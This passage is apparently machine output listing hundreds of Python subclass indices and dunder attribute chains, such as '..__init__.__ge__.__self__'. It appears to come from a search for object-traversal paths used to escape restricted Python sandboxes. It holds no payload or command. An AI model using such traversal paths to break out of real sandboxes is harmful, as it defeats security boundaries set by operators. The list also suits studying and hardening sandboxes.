..__init__.__ge__.__self__", "Subclass 184: ..__len__.__hash__.__self__", "Subclass 108: ..reset.__init_subclass__.__self__", "Subclass 98: ..find_loader.__class__", "Subclass 96: ..get_source.__ge__.__self__", "Subclass 195: ..BinaryIO.tell.__class__", "Subclass 94: ..__init_subclass__.__self__.__hash__", "Subclass 107: ..encode.__lt__.__self__", "Subclass 86: ..__weakref__.__objclass__.exec_module", "Subclass 93: ..exec_module.__ne__.__self__", "Subclass 135: ..__subclasshook__.__self__.__repr__", "Subclass 183: ..opengroup.__sizeof__.__self__", "Subclass 109: ..write.__le__.__self__", "Subclass 114: ..__hash__.__call__.__self__", "Subclass 164: ..repr_set.__dir__.__self__", "Subclass 132: ..__call__.__class__", "Subclass 108: ..setstate.__ge__.__self__", "Subclass 94: ..__init__.__format__.__self__", "Subclass 98: .._get_spec.__eq__.__self__", "Subclass 185: .._Tokenizer__next.__le__.__self__", "Subclass 185: .._Tokenizer__next.__hash__.__self__", "Subclass 179: ..__class__._find_new_.__class__", "Subclass 98: ..find_loader.__lt__.__self__", "Subclass 94: ..contents.__init__.__self__", "Subclass 186: ..__init__.__le__.__self__", "Subclass 115: ..__await__.__new__.__self__", "Subclass 110: ..write.__new__.__self__", "Subclass 183: ..__init__.__repr__.__objclass__", "Subclass 109: ..readlines.__reduce__.__self__", "Subclass 109: ..read.__class__", "Subclass 81: ..acquire.__call__.__self__", "Subclass 109: ..read.__sizeof__.__self__", 'Global func 1: ..__class__.__closure__.__objclass__', "Subclass 164: .._repr_iterable.__setattr__.__self__", "Subclass 94: ..__weakref__.__objclass__.load_module", "Subclass 199: ..contents.__eq__.__self__", "Subclass 184: ..__weakref__.__objclass__.__init__", "Subclass 94: ..resource_path.__le__.__self__", "Subclass 94: ..get_data.__hash__.__self__", "Subclass 110: ..__weakref__.__objclass__.__init__", "Subclass 132: ..__subclasshook__.__func__.__class__", "Subclass 107: ..getstate.__init__.__self__", "Subclass 198: ..module_repr.__hash__.__self__", "Subclass 110: ..write.__call__.__self__", "Subclass 84: ..module_repr.__new__.__self__", "Subclass 93: ..is_package.__lt__.__self__", "Subclass 173: ..__subclasshook__.__self__.register", "Subclass 177: .._push_cm_exit.__reduce_ex__.__self__", "Subclass 195: ..IO.write.__class__", "Subclass 134: ..__repr__.__dir__.__self__", "Subclass 184: ..append.__subclasshook__.__self__", "Subclass 87: ..__exit__.__get__.__objclass__", "Subclass 86: ..exec_module.__get__.__self__", "Subclass 135: ..__init__", "Subclass 134: ..__init__.__dir__.__self__", "Subclass 185: ..match.__format__.__self__", "Subclass 104: ..load_module.__reduce__.__self__", "Subclass 183: ..closegroup.__setattr__.__self__", "Subclass 186: ..__init__.__delattr__.__self__", "Subclass 96: ..create_module.__getattribute__.__self__", "Subclass 110: ..__getattr__.__setattr__.__self__", "Subclass 136: ..__repr__.__repr__.__self__", "Subclass 87: ..__enter__.__reduce__.__self__", "Subclass 173: ..__init__.__lt__.__self__", "Subclass 175: .._recreate_cm.__call__.__self__", "Subclass 80: ..acquire.__call__.__self__", "Subclass 104: ..__init__.__reduce_ex__.__self__", "Subclass 95: ..__contains__.__init_subclass__.__self__", "Subclass 137: ..setter.__subclasshook__.__self__", "Subclass 195: ..BinaryIO.readable.__class__", "Subclass 174: ..__init__.__hash__.__self__", 'Global func 1: ..__format__.__self__', "Subclass 172: ..__init__.__reduce__.__self__", "Subclass 106: ..decode.__repr__.__self__", "Subclass 164: ..repr_array.__eq__.__self__", "Subclass 137: ..getter.__reduce__.__self__", "Subclass 105: ..is_resource.__le__.__self__", "Subclass 97: ..find_module.__func__", "Subclass 105: ..resource_path.__ne__.__self__", "Subclass 95: ..__weakref__.__objclass__._find_parent_path_names", "Subclass 138: ..throw.__le__.__self__", "Subclass 177: ..push.__lt__.__self__", "Subclass 110: ..readlines", "Subclass 109: ..reset.__le__.__self__", "Subclass 185: ..__init__.__gt__.__self__", "Subclass 177: ..__init__.__format__.__self__", "Subclass 173: ..__init__.__gt__.__self__", "Subclass 184: ..append.__init__.__self__", "Subclass 109: ..__next__.__init_subclass__.__self__", "Subclass 140: ..__init__.__str__.__self__", "Subclass 133: ..__init__.__repr__.__self__", "Subclass 109: ..readlines.__hash__.__self__", "Subclass 177: .._create_cb_wrapper.__delattr__.__self__", "Subclass 175: ..__call__.__reduce__.__self__", "Subclass 175: ..__call__.__str__.__self__", "Subclass 164: ..repr_array.__le__.__self__", "Subclass 108: ..reset", "Subclass 164: .._repr_iterable.__getattribute__.__self__", "Subclass 94: ..get_data.__eq__.__self__", "Subclass 135: ..__repr__.__delattr__.__self__", "Subclass 183: ..checkgroup.__repr__.__self__", "Subclass 83: ..__eq__.__lt__.__self__", "Subclass 164: ..repr_int.__dir__.__self__", "Subclass 195: ..TextIO.seekable", "Subclass 80: ..release", "Subclass 80: ..has_deadlock.__eq__.__self__", "Subclass 140: ..__exit__.__ne__.__self__", "Subclass 138: ..__iter__.__get__.__self__", "Subclass 106: ..encode.__new__.__self__", "Subclass 110: ..__enter__.__call__.__self__", "Subclass 139: ..__str__.__call__.__objclass__", "Subclass 110: ..readlines.__call__.__self__", "Subclass 172: .._make_unbound_method.__get__.__objclass__", "Subclass 184: ..append.__ge__.__self__", "Subclass 94: ..is_resource.__call__.__objclass__", "Subclass 184: ..__subclasshook__.__self__.__getitem__", "Subclass 172: .._make_unbound_method.__hash__.__self__", "Subclass 98: ..__repr__.__str__.__self__", "Subclass 195: ..IO.readline", "Subclass 95: ..__len__.__new__.__self__", "Subclass 106: ..encode.__ne__.__self__", "Subclass 110: ..write.__format__.__self__", "Subclass 184: ..__init__.__call__.__objclass__", "Subclass 135: ..__call__.__repr__.__objclass__", "Subclass 107: ..__init__.__reduce__.__self__", "Subclass 184: ..__init__.__get__.__objclass__", "Subclass 172: ..__get__.__sizeof__.__self__", "Subclass 138: ..__weakref__.__objclass__.throw", "Subclass 94: ..resource_path.__get__.__objclass__", "Subclass 96: ..exec_module.__init_subclass__.__self__", "Subclass 109: ..readline.__call__.__objclass__", "Subclass 110: ..__enter__.__dir__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr1", "Subclass 140: ..__repr__.__dir__.__self__", "Subclass 195: ..BinaryIO.flush.__class__", "Subclass 93: ..load_module.__repr__.__objclass__", "Subclass 138: ..__init__.__format__.__self__", "Subclass 135: ..__init__.__hash__.__self__", "Subclass 81: ..__weakref__.__objclass__.release", "Subclass 104: ..get_code.__sizeof__.__self__", "Subclass 109: ..write.__getattribute__.__self__", "Subclass 93: ..__subclasshook__.__self__.is_package", "Subclass 86: ..get_source.__func__", "Subclass 130: ..__class__._abc_registry_clear", "Subclass 135: ..__repr__.__subclasshook__.__self__", "Subclass 107: ..reset.__setattr__.__self__", "Subclass 174: ..__get__.__reduce__.__self__", "Subclass 104: ..__init__.__get__.__objclass__", "Subclass 86: ..get_source.__func__.__class__", "Subclass 104: ..get_resource_reader.__get__.__self__", "Subclass 98: ..__repr__.__sizeof__.__self__", "Subclass 133: ..__exit__.__le__.__self__", "Subclass 192: ..__new__.__init__.__self__", "Subclass 110: ..__init__.__sizeof__.__self__", "Subclass 138: ..__next__.__dir__.__self__", "Subclass 83: ..__init__.__reduce__.__self__", "Subclass 185: ..__init__", "Subclass 109: ..__exit__.__repr__.__self__", "Subclass 138: ..close.__call__.__objclass__", "Subclass 83: ..__repr__.__repr__.__objclass__", "Subclass 104: ..__init_subclass__.__self__.__repr__", "Subclass 164: ..__weakref__.__objclass__.repr_set", "Subclass 109: ..__init__.__class__", "Subclass 109: ..readlines.__getattribute__.__self__", "Subclass 138: ..send.__hash__.__self__", "Subclass 110: ..read.__class__", "Subclass 81: ..release.__setattr__.__self__", "Subclass 112: ..__class__._abc_caches_clear", "Subclass 176: ..__init__.__setattr__.__self__", "Subclass 196: ..Match.__class__.__repr__", "Subclass 105: ..__init_subclass__.__self__.__init__", "Subclass 139: ..__init__.__setattr__.__self__", "Subclass 173: ..__init__.__ne__.__self__", "Subclass 109: ..readlines.__reduce_ex__.__self__", "Subclass 109: ..__iter__.__call__.__self__", "Subclass 199: ..__subclasshook__.__self__.resource_path", "Subclass 183: ..checkgroup.__reduce_ex__.__self__", "Subclass 109: ..__weakref__.__objclass__.write", "Subclass 110: ..readlines.__str__.__self__", "Subclass 184: ..__delitem__.__subclasshook__.__self__", "Subclass 104: ..load_module.__sizeof__.__self__", "Subclass 98: ..find_module.__hash__.__self__", "Subclass 138: ..throw.__reduce_ex__.__self__", "Subclass 104: ..get_data.__repr__.__objclass__", "Subclass 184: ..__getitem__.__new__.__self__", "Subclass 140: ..__enter__.__subclasshook__.__self__", "Subclass 134: ..__weakref__.__objclass__.__call__", "Subclass 130: ..__len__.__get__.__self__", "Subclass 138: ..__next__.__init__.__self__", "Subclass 136: ..__repr__.__setattr__.__self__", "Subclass 172: ..__get__.__ne__.__self__", "Subclass 183: ..checklookbehindgroup.__str__.__self__", "Subclass 185: ..error.__call__.__self__", "Subclass 95: ..__setitem__.__le__.__self__", "Subclass 95: ..__contains__.__format__.__self__", "Subclass 109: ..__enter__.__format__.__self__", "Subclass 186: ..scan.__lt__.__self__", "Subclass 81: ..release.__init_subclass__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_filename", "Subclass 132: ..__call__.__eq__.__self__", "Subclass 184: ..__repr__.__ge__.__self__", "Subclass 179: ..__class__._check_for_existing_members.__class__", "Subclass 95: ..__getitem__.__get__.__objclass__", "Subclass 84: ..module_repr", "Subclass 86: ..exec_module.__gt__.__self__", "Subclass 109: ..__exit__.__dir__.__self__", "Subclass 185: ..__weakref__.__objclass__.getuntil", "Subclass 82: ..__enter__.__subclasshook__.__self__", "Subclass 95: ..__getitem__.__hash__.__self__", "Subclass 94: ..open_resource.__le__.__self__", "Subclass 93: ..load_module.__ge__.__self__", "Subclass 117: ..__aiter__.__gt__.__self__", "Subclass 139: ..__str__.__le__.__self__", "Subclass 95: ..__contains__.__lt__.__self__", "Subclass 107: ..getstate.__call__.__self__", "Subclass 164: ..repr_str", "Subclass 95: .._get_parent_path", "Subclass 95: ..__init_subclass__.__self__.__setitem__", "Subclass 199: ..resource_path.__lt__.__self__", "Subclass 109: ..readline", "Subclass 107: ..__init__.__init__.__self__", "Subclass 135: ..__init__.__format__.__self__", "Subclass 82: ..__exit__.__format__.__self__", "Subclass 80: ..release.__le__.__self__", "Subclass 185: ..seek.__lt__.__self__", "Subclass 95: ..__repr__.__call__.__self__", "Subclass 81: ..release.__le__.__self__", "Subclass 184: ..__subclasshook__.__self__.__init__", "Subclass 94: ..__init__.__call__.__self__", "Subclass 109: ..readline.__str__.__self__", "Subclass 137: ..__get__.__ne__.__self__", "Subclass 132: ..__call__.__setattr__.__self__", "Subclass 105: ..resource_path.__hash__.__self__", "Subclass 164: .._repr_iterable.__repr__.__self__", "Subclass 164: ..repr_deque.__class__", "Subclass 87: ..__subclasshook__.__self__.__exit__", "Subclass 110: ..__next__.__le__.__self__", "Subclass 164: ..repr_dict.__ne__.__self__", "Subclass 80: ..acquire.__new__.__self__", "Subclass 96: ..get_code.__dir__.__self__", "Subclass 104: ..get_code.__delattr__.__self__", "Subclass 137: ..__get__.__ge__.__self__", "Subclass 98: .._get_spec.__str__.__self__", "Subclass 133: ..close.__reduce__.__self__", "Subclass 138: ..__await__.__dir__.__self__", "Subclass 134: ..__call__.__setattr__.__self__", "Subclass 184: ..__getitem__.__gt__.__self__", "Subclass 104: ..__weakref__.__objclass__.get_source", "Subclass 133: ..__init__.__reduce__.__self__", "Subclass 108: ..reset.__call__.__objclass__", "Subclass 184: ..dump.__subclasshook__.__self__", "Subclass 188: ..__deepcopy__.__repr__.__objclass__", "Subclass 95: ..append.__subclasshook__.__self__", "Subclass 133: ..close.__reduce_ex__.__self__", "Subclass 177: ..enter_context.__getattribute__.__self__", "Subclass 130: ..__subclasshook__.__func__", "Subclass 104: ..__init_subclass__.__self__.find_loader", "Subclass 110: ..__iter__.__call__.__self__", "Subclass 185: ..seek.__init_subclass__.__self__", "Subclass 115: ..__class_getitem__.__self__.__await__", "Subclass 82: ..__init__.__subclasshook__.__self__", "Subclass 164: ..repr_set.__init__.__self__", "Subclass 82: ..__init__.__call__.__objclass__", "Subclass 93: ..create_module.__repr__.__objclass__", "Subclass 173: ..__init__.__getattribute__.__self__", "Subclass 185: ..seek.__gt__.__self__", "Subclass 117: ..__aiter__.__repr__.__objclass__", "Subclass 95: ..__iter__.__class__", "Subclass 183: ..__weakref__.__objclass__.__init__", "Subclass 95: ..__setitem__.__reduce__.__self__", "Subclass 110: ..__subclasshook__.__self__.writelines", "Subclass 104: ..get_source.__subclasshook__.__self__", "Subclass 98: ..find_module.__eq__.__self__", "Subclass 131: ..__class__.register", "Subclass 134: ..__init__.__delattr__.__self__", "Subclass 130: ..__class__.__new__", "Subclass 83: ..__eq__.__gt__.__self__", "Subclass 109: ..readline.__init__.__self__", "Subclass 175: ..__call__.__dir__.__self__", "Subclass 110: ..__init_subclass__.__self__.write", "Subclass 98: ..find_module.__str__.__self__", "Subclass 138: ..close.__sizeof__.__self__", "Subclass 173: ..register.__call__.__objclass__", "Subclass 80: ..release.__eq__.__self__", "Subclass 198: ..load_module.__reduce_ex__.__self__", "Subclass 175: ..__call__.__lt__.__self__", "Subclass 132: ..__class__._abc_registry_clear.__class__", "Subclass 94: ..get_resource_reader.__init_subclass__.__self__", "Subclass 164: ..repr1.__format__.__self__", "Subclass 164: ..repr_instance", "Subclass 94: ..contents.__get__.__self__", "Subclass 133: ..__init__.__str__.__self__", "Subclass 137: ..setter.__format__.__self__", "Subclass 132: ..__call__", "Subclass 164: ..repr.__getattribute__.__self__", "Subclass 197: ..find_module.__get__.__objclass__", 'Global func 1: ..__str__.__self__.__class__', "Subclass 199: ..contents.__call__.__objclass__", "Subclass 172: ..__repr__.__lt__.__self__", "Subclass 196: ..Match.__class__.__instancecheck__", "Subclass 198: ..__class__._dump_registry.__class__", "Subclass 164: ..repr_deque.__ge__.__self__", "Subclass 177: ..pop_all.__ne__.__self__", "Subclass 82: ..__enter__.__ge__.__self__", "Subclass 177: .._push_cm_exit.__class__", "Subclass 132: ..__class_getitem__.__func__.__new__", "Subclass 82: ..__enter__.__hash__.__self__", "Subclass 104: ..find_loader.__class__", "Subclass 104: ..__init__.__eq__.__self__", "Subclass 96: ..__init__.__le__.__self__", "Subclass 164: ..repr_instance.__init__.__self__", "Subclass 174: ..__get__", "Subclass 81: ..release.__ge__.__self__", "Subclass 83: ..__eq__.__repr__.__objclass__", "Subclass 104: ..get_filename.__reduce_ex__.__self__", "Subclass 104: ..find_module.__repr__.__objclass__", "Subclass 185: ..get.__setattr__.__self__", "Subclass 188: ..__deepcopy__.__get__.__self__", "Subclass 164: ..repr_set.__ne__.__self__", "Subclass 80: ..__init__.__sizeof__.__self__", "Subclass 192: ..__class_getitem__.__func__.__class__", "Subclass 184: ..dump.__init__.__self__", 'Global func 1: ..__class__.__code__.__objclass__', "Subclass 96: ..get_source.__le__.__self__", "Subclass 94: ..resource_path.__init_subclass__.__self__", "Subclass 94: ..get_resource_reader.__gt__.__self__", "Subclass 81: ..acquire.__reduce__.__self__", "Subclass 94: ..get_data.__le__.__self__", "Subclass 137: ..__delete__", "Subclass 164: ..repr_set.__sizeof__.__self__", "Subclass 109: ..writelines.__init__.__self__", "Subclass 184: ..__delitem__.__le__.__self__", "Subclass 98: ..path_hook.__self__.__repr__", "Subclass 87: ..__exit__", "Subclass 104: ..get_resource_reader.__repr__.__objclass__", "Subclass 104: ..get_code.__call__.__objclass__", "Subclass 164: ..repr_set.__gt__.__self__", "Subclass 164: ..repr_array.__hash__.__self__", "Subclass 164: ..repr_instance.__get__.__self__", "Subclass 106: ..encode.__subclasshook__.__self__", "Subclass 106: ..encode.__setattr__.__self__", "Subclass 107: ..__init_subclass__.__self__.reset", "Subclass 135: .._Printer__setup.__gt__.__self__", "Subclass 94: ..get_filename.__format__.__self__", "Subclass 173: ..__get__.__reduce__.__self__", "Subclass 82: ..__init__.__call__.__self__", "Subclass 86: ..exec_module.__call__.__self__", "Subclass 93: ..exec_module.__call__.__self__", "Subclass 119: ..__iter__.__init_subclass__.__self__", "Subclass 105: ..resource_path.__eq__.__self__", "Subclass 108: ..decode.__dir__.__self__", "Subclass 172: ..__repr__.__new__.__self__", "Subclass 110: ..read.__call__.__self__", "Subclass 184: ..__setitem__.__sizeof__.__self__", "Subclass 179: ..__class__.__call__", "Subclass 140: ..__exit__.__delattr__.__self__", "Subclass 107: ..setstate.__hash__.__self__", "Subclass 188: ..__copy__.__sizeof__.__self__", "Subclass 95: .._recalculate.__lt__.__self__", "Subclass 185: ..match.__class__", "Subclass 172: ..__weakref__.__objclass__.__init__", "Subclass 105: ..is_resource", "Subclass 184: ..__delitem__.__call__.__objclass__", "Subclass 164: ..__weakref__.__objclass__.repr_frozenset", "Subclass 98: ..find_spec.__delattr__.__self__", "Subclass 96: ..get_source.__reduce_ex__.__self__", "Subclass 132: ..__call__.__gt__.__self__", "Subclass 138: ..throw.__init_subclass__.__self__", "Subclass 94: ..__init__.__reduce_ex__.__self__", "Subclass 96: ..exec_module.__dir__.__self__", "Subclass 105: ..is_resource.__subclasshook__.__self__", "Subclass 98: .._fill_cache.__repr__.__self__", "Subclass 177: ..callback.__format__.__self__", "Subclass 82: ..__enter__.__call__.__objclass__", "Subclass 131: ..__contains__.__setattr__.__self__", "Subclass 108: ..getstate.__ne__.__self__", "Subclass 114: ..__hash__.__dir__.__self__", "Subclass 94: ..contents.__subclasshook__.__self__", "Subclass 137: ..__init__.__ne__.__self__", "Subclass 96: ..create_module.__repr__.__self__", "Subclass 109: ..reset.__repr__.__self__", "Subclass 174: ..__get__.__dir__.__self__", "Subclass 98: ..find_module.__reduce_ex__.__self__", "Subclass 172: ..__get__.__class__", "Subclass 98: .._fill_cache.__new__.__self__", "Subclass 136: ..__repr__.__hash__.__self__", "Subclass 135: ..__repr__.__str__.__self__", "Subclass 199: ..resource_path.__str__.__self__", "Subclass 95: ..__iter__.__gt__.__self__", "Subclass 133: ..__iter__.__new__.__self__", "Subclass 137: ..__init__.__reduce_ex__.__self__", "Subclass 110: ..__iter__.__repr__.__self__", "Subclass 110: ..__exit__.__dir__.__self__", "Subclass 82: ..__init__.__setattr__.__self__", "Subclass 183: ..opengroup.__repr__.__self__", "Subclass 83: ..__repr__.__hash__.__self__", "Subclass 137: ..__init__.__sizeof__.__self__", "Subclass 138: ..__weakref__.__objclass__.__next__", "Subclass 93: ..load_module.__call__.__self__", "Subclass 136: ..__repr__.__lt__.__self__", "Subclass 134: ..__init__.__repr__.__self__", "Subclass 137: ..setter.__setattr__.__self__", "Subclass 185: ..__init__.__class__", "Subclass 94: ..get_data.__init__.__self__", "Subclass 109: ..writelines", "Subclass 164: ..repr1.__setattr__.__self__", "Subclass 195: ..IO.seekable.__class__", "Subclass 106: ..decode.__subclasshook__.__self__", "Subclass 109: ..__exit__.__call__.__objclass__", "Subclass 98: .._fill_cache", "Subclass 96: ..__init__.__call__.__self__", "Subclass 96: ..get_code.__ge__.__self__", "Subclass 104: ..__subclasshook__.__self__.get_code", "Subclass 98: ..__repr__.__getattribute__.__self__", "Subclass 195: ..BinaryIO.__enter__.__class__", "Subclass 135: ..__repr__.__format__.__self__", "Subclass 98: ..find_module.__lt__.__self__", "Subclass 84: ..find_spec.__func__", "Subclass 184: ..append.__repr__.__objclass__", "Subclass 130: ..__len__.__hash__.__self__", "Subclass 164: ..repr1.__str__.__self__", "Subclass 185: ..error.__ne__.__self__", "Subclass 110: ..__init__.__call__.__objclass__", "Subclass 104: ..__weakref__.__objclass__.get_data", "Subclass 133: ..__iter__.__reduce__.__self__", "Subclass 114: ..__hash__.__get__.__self__", "Subclass 164: ..repr_int.__eq__.__self__", "Subclass 184: ..__init_subclass__.__self__.getwidth", "Subclass 96: ..get_code.__gt__.__self__", "Subclass 98: ..__init__.__get__.__objclass__", "Subclass 117: ..__subclasshook__.__func__", "Subclass 140: ..__subclasshook__.__self__.__enter__", "Subclass 87: ..__enter__.__repr__.__objclass__", 'Global func 1: ..__call__.__self__.__class__', "Subclass 105: ..__init__.__reduce_ex__.__self__", "Subclass 133: ..__iter__.__ge__.__self__", "Subclass 185: ..tell.__getattribute__.__self__", "Subclass 95: ..__contains__.__class__", "Subclass 136: ..__repr__.__delattr__.__self__", "Subclass 109: ..reset", "Subclass 172: .._make_unbound_method.__subclasshook__.__self__", "Subclass 184: ..dump.__call__.__self__", "Subclass 98: .._get_spec.__dir__.__self__", "Subclass 109: ..reset.__delattr__.__self__", "Subclass 185: ..match.__ne__.__self__", "Subclass 80: ..release.__ne__.__self__", "Subclass 80: ..__repr__.__sizeof__.__self__", "Subclass 93: ..exec_module.__str__.__self__", "Subclass 109: ..read.__call__.__self__", "Subclass 184: ..__repr__.__sizeof__.__self__", "Subclass 95: ..__repr__.__subclasshook__.__self__", "Subclass 95: .._get_parent_path.__get__.__objclass__", "Subclass 177: ..__init__.__call__.__objclass__", "Subclass 177: .._create_cb_wrapper.__init_subclass__.__self__", "Subclass 131: ..__class__._abc_caches_clear.__class__", "Subclass 134: ..__repr__.__repr__.__objclass__", "Subclass 110: ..seek.__class__", "Subclass 185: .._Tokenizer__next.__class__", "Subclass 109: ..__enter__.__reduce_ex__.__self__", "Subclass 173: ..__get__.__class__", "Subclass 95: ..append.__le__.__self__", "Subclass 104: ..get_source.__delattr__.__self__", "Subclass 184: ..__delitem__.__lt__.__self__", "Subclass 133: ..__iter__.__get__.__objclass__", "Subclass 83: ..__repr__.__init__.__self__", "Subclass 95: ..__subclasshook__.__self__.__contains__", "Subclass 98: ..__repr__.__subclasshook__.__self__", "Subclass 98: ..find_loader.__init_subclass__.__self__", "Subclass 109: ..readlines.__le__.__self__", "Subclass 105: ..resource_path.__init__.__self__", "Subclass 164: ..__init_subclass__.__self__.repr", "Subclass 177: .._push_cm_exit.__setattr__.__self__", "Subclass 114: ..__hash__", "Subclass 164: ..repr_str.__sizeof__.__self__", "Subclass 174: ..__init__.__getattribute__.__self__", "Subclass 105: ..__init__.__call__.__objclass__", "Subclass 109: ..__exit__.__le__.__self__", "Subclass 81: ..acquire.__eq__.__self__", "Subclass 192: ..__new__.__subclasshook__.__self__", "Subclass 179: ..__class__.__dir__.__class__", "Subclass 96: ..create_module.__reduce_ex__.__self__", "Subclass 140: ..__init__", "Subclass 137: ..getter.__delattr__.__self__", "Subclass 132: ..__call__.__sizeof__.__self__", "Subclass 183: ..__weakref__.__objclass__.checklookbehindgroup", "Subclass 137: ..__get__.__call__.__objclass__", "Subclass 104: ..find_module.__reduce__.__self__", "Subclass 109: ..readlines.__get__.__objclass__", "Subclass 96: ..__init_subclass__.__self__.create_module", "Subclass 140: ..__repr__.__reduce_ex__.__self__", "Subclass 177: .._create_cb_wrapper.__gt__.__self__", "Subclass 83: ..__repr__.__sizeof__.__self__", "Subclass 138: ..close.__lt__.__self__", "Subclass 86: ..find_module.__self__.exec_module", "Subclass 93: ..create_module.__gt__.__self__", "Subclass 179: ..__class__.__repr__", "Subclass 137: ..__weakref__.__objclass__.__set__", "Subclass 108: ..decode.__reduce__.__self__", "Subclass 164: ..repr_list.__getattribute__.__self__", "Subclass 133: ..close.__delattr__.__self__", "Subclass 135: ..__weakref__.__objclass__.__init__", "Subclass 172: ..__repr__.__repr__.__objclass__", "Subclass 107: ..encode.__get__.__objclass__", "Subclass 185: ..match.__le__.__self__", "Subclass 80: ..__init__.__ne__.__self__", "Subclass 108: ..setstate.__class__", "Subclass 133: ..__init__.__eq__.__self__", 'Global func 1: ..__ne__.__self__', "Subclass 137: ..getter.__repr__.__self__", "Subclass 86: ..module_repr.__new__.__self__", "Subclass 133: ..__init__.__get__.__self__", "Subclass 184: ..getwidth.__init__.__self__", "Subclass 183: ..__init__.__eq__.__self__", "Subclass 172: ..__subclasshook__.__self__._make_unbound_method", "Subclass 137: ..__delete__.__class__", "Subclass 184: ..__repr__.__subclasshook__.__self__", "Subclass 94: ..__init__.__init_subclass__.__self__", "Subclass 93: ..__init_subclass__.__self__.load_module", "Subclass 174: ..__set_name__.__init_subclass__.__self__", "Subclass 95: ..__len__.__lt__.__self__", "Subclass 109: ..reset.__ne__.__self__", "Subclass 117: ..__aiter__.__ge__.__self__", "Subclass 199: ..is_resource.__init_subclass__.__self__", "Subclass 96: ..create_module.__dir__.__self__", "Subclass 177: .._create_cb_wrapper.__new__.__self__", "Subclass 183: ..checklookbehindgroup.__repr__.__self__", "Subclass 98: .._get_spec.__getattribute__.__self__", "Subclass 96: ..get_source.__repr__.__objclass__", "Subclass 94: ..open_resource.__subclasshook__.__self__", "Subclass 119: ..__class__.__instancecheck__", "Subclass 95: ..__init_subclass__.__self__.__repr__", "Subclass 81: ..__init__.__format__.__self__", "Subclass 177: .._push_exit_callback.__call__.__objclass__", "Subclass 174: ..__subclasshook__.__self__.__set_name__", "Subclass 164: ..repr_str.__repr__.__objclass__", "Subclass 134: ..__init__.__repr__.__objclass__", "Subclass 105: ..__init__.__init__.__self__", "Subclass 87: ..__enter__.__format__.__self__", "Subclass 164: ..repr_deque.__reduce__.__self__", "Subclass 106: ..decode.__reduce__.__self__", "Subclass 172: ..__init__.__init_subclass__.__self__", "Subclass 195: ..BinaryIO.__exit__.__class__", "Subclass 83: ..__eq__.__setattr__.__self__", "Subclass 93: ..load_module.__reduce__.__self__", "Subclass 98: ..__init__.__subclasshook__.__self__", "Subclass 80: ..has_deadlock.__get__.__objclass__", "Subclass 109: ..seek.__dir__.__self__", "Subclass 110: ..__init_subclass__.__self__.readline", "Subclass 109: ..__init_subclass__.__self__.readlines", "Subclass 140: ..__enter__.__setattr__.__self__", "Subclass 177: ..__weakref__.__objclass__.push", "Subclass 94: ..get_filename.__new__.__self__", "Subclass 94: ..resource_path.__call__.__objclass__", "Subclass 110: ..__enter__.__delattr__.__self__", "Subclass 195: ..IO.readable.__class__", "Subclass 82: ..__exit__.__get__.__objclass__", "Subclass 137: ..getter.__call__.__objclass__", "Subclass 105: ..is_resource.__class__", "Subclass 98: .._fill_cache.__getattribute__.__self__", "Subclass 133: ..close.__repr__.__objclass__", "Subclass 183: ..__init__.__le__.__self__", "Subclass 94: ..__eq__.__setattr__.__self__", "Subclass 107: ..setstate.__call__.__objclass__", "Subclass 185: ..getwhile.__delattr__.__self__", "Subclass 94: ..resource_path", "Subclass 119: ..__iter__", "Subclass 81: ..__repr__.__hash__.__self__", "Subclass 184: ..__init__.__ge__.__self__", "Subclass 115: ..__class__._abc_caches_clear.__class__", "Subclass 107: ..setstate.__dir__.__self__", "Subclass 138: ..__subclasshook__.__self__.close", "Subclass 174: ..__init__.__new__.__self__", "Subclass 164: ..repr_deque.__ne__.__self__", "Subclass 184: ..insert.__setattr__.__self__", "Subclass 81: ..__subclasshook__.__self__.__init__", "Subclass 192: ..__class_getitem__.__self__.__new__", "Subclass 95: ..__init__.__lt__.__self__", "Subclass 173: ..__get__.__subclasshook__.__self__", "Subclass 98: ..__init_subclass__.__self__.invalidate_caches", "Subclass 138: ..__weakref__.__objclass__.__init__", "Subclass 96: ..load_module.__reduce_ex__.__self__", "Subclass 137: ..deleter.__hash__.__self__", 'Global func 1: ..__sizeof__.__self__', "Subclass 185: ..match.__get__.__objclass__", "Subclass 98: ..find_spec.__reduce__.__self__", "Subclass 185: ..get.__class__", "Subclass 199: ..contents.__get__.__self__", "Subclass 93: ..exec_module.__setattr__.__self__", "Subclass 80: ..release.__get__.__objclass__", "Subclass 197: ..find_module.__get__.__self__", "Subclass 93: ..create_module.__ge__.__self__", "Subclass 172: ..__repr__.__sizeof__.__self__", "Subclass 184: ..dump.__ge__.__self__", "Subclass 140: ..__enter__.__lt__.__self__", "Subclass 110: ..readlines.__hash__.__self__", "Subclass 138: ..__iter__.__setattr__.__self__", "Subclass 177: ..enter_context.__sizeof__.__self__", "Subclass 131: ..__class__._abc_registry_clear.__class__", "Subclass 177: ..__subclasshook__.__self__.pop_all", "Subclass 164: ..repr_str.__str__.__self__", "Subclass 98: ..find_module.__get__.__self__", "Subclass 117: ..__class__._dump_registry", "Subclass 185: ..__init_subclass__.__self__._Tokenizer__next", "Subclass 105: ..__init_subclass__.__self__.open_resource", "Subclass 184: ..__len__.__ne__.__self__", "Subclass 110: ..__exit__.__str__.__self__", "Subclass 105: ..contents.__str__.__self__", "Subclass 114: ..__hash__.__lt__.__self__", "Subclass 185: ..match.__ge__.__self__", "Subclass 93: ..create_module.__subclasshook__.__self__", "Subclass 137: ..setter.__call__.__self__", "Subclass 110: ..reset.__class__", "Subclass 134: ..__repr__.__new__.__self__", "Subclass 107: ..getstate.__gt__.__self__", "Subclass 177: ..callback.__sizeof__.__self__", "Subclass 174: ..__set_name__.__call__.__objclass__", "Subclass 94: ..__weakref__.__objclass__.is_resource", "Subclass 106: ..decode.__ne__.__self__", "Subclass 135: ..__init__.__delattr__.__self__", "Subclass 98: .._fill_cache.__ne__.__self__", "Subclass 110: ..readline.__class__", "Subclass 108: ..__init__.__str__.__self__", "Subclass 174: ..__set_name__.__hash__.__self__", "Subclass 137: ..__set__.__reduce_ex__.__self__", "Subclass 119: ..__subclasshook__.__func__", "Subclass 98: ..invalidate_caches.__call__.__objclass__", "Subclass 94: ..__hash__.__hash__.__self__", "Subclass 140: ..__init__.__lt__.__self__", "Subclass 94: ..get_data.__dir__.__self__", "Subclass 98: ..__subclasshook__.__self__.find_spec", "Subclass 137: ..setter.__getattribute__.__self__", "Subclass 108: ..__init__.__repr__.__objclass__", "Subclass 185: ..tell.__hash__.__self__", "Subclass 105: ..__init__.__eq__.__self__", "Subclass 133: ..__enter__.__class__", "Subclass 84: ..get_code.__func__", "Subclass 192: ..__new__.__repr__.__objclass__", 